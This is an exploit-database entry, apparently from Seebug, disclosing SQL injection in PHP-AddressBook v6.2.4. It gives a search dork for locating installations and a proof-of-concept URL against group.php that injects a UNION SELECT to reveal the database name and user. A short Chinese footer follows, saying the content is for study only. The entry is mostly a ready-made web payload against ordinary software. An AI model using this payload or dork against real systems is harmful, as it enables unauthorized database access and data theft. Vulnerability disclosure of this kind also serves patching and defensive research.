#Exploit Title : PHP-AddressBook v6.2.4 SQL INJECTION VULNERABILITIES #Script : PHP-AddressBook v6.2.4 #Language : PHP #DESCRIPTION:Simple, web-based address & phone book, contact manager, organizer. Groups, addresses, e-Mails, phone numbers & birthdays. vCards, LDIF, Excel, iPhone, Gmail & Google-Maps supported #Download : http://php-addressbook.sourceforge.net/download #DORK: "php-addressbook" #Date : 2010/12/29 #Found : by hiphop #thanks :silly3r proof of concept: Condition: magic_quotes_gpc = off http://server/group.php?group_name=1'+union+select+1,2,3,4,5,6,7,concat(database(),0x3a,user()),9'
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论